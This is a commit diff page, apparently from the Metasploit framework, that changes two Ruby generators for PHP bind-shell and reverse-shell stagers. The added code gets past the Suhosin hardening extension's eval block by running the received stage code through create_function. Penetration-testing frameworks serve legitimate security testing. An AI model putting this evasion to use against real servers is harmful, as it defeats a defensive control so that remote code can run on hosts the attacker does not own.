File tree Expand file tree Collapse file tree 2 files changed +18
-2
lines changed Expand file tree Collapse file tree 2 files changed +18
-2
lines changed Original file line number Diff line number Diff line change @@ -109,7 +109,15 @@ def generate_bind_tcp(opts={})
109
109
# Set up the socket for the main stage to use.
110
110
$GLOBALS['msgsock'] = $s;
111
111
$GLOBALS['msgsock_type'] = $s_type;
112
- eval($b);
112
+ if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
113
+ {
114
+ $suhosin_bypass=create_function('', $b);
115
+ $suhosin_bypass();
116
+ }
117
+ else
118
+ {
119
+ eval($b);
120
+ }
113
121
die();^
114
122
end
115
123
Original file line number Diff line number Diff line change @@ -102,7 +102,15 @@ def generate_reverse_tcp(opts={})
102
102
# Set up the socket for the main stage to use.
103
103
$GLOBALS['msgsock'] = $s;
104
104
$GLOBALS['msgsock_type'] = $s_type;
105
- eval($b);
105
+ if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
106
+ {
107
+ $suhosin_bypass=create_function('', $b);
108
+ $suhosin_bypass();
109
+ }
110
+ else
111
+ {
112
+ eval($b);
113
+ }
106
114
die();^
107
115
end
108
116
You can’t perform that action at this time.
0 commit comments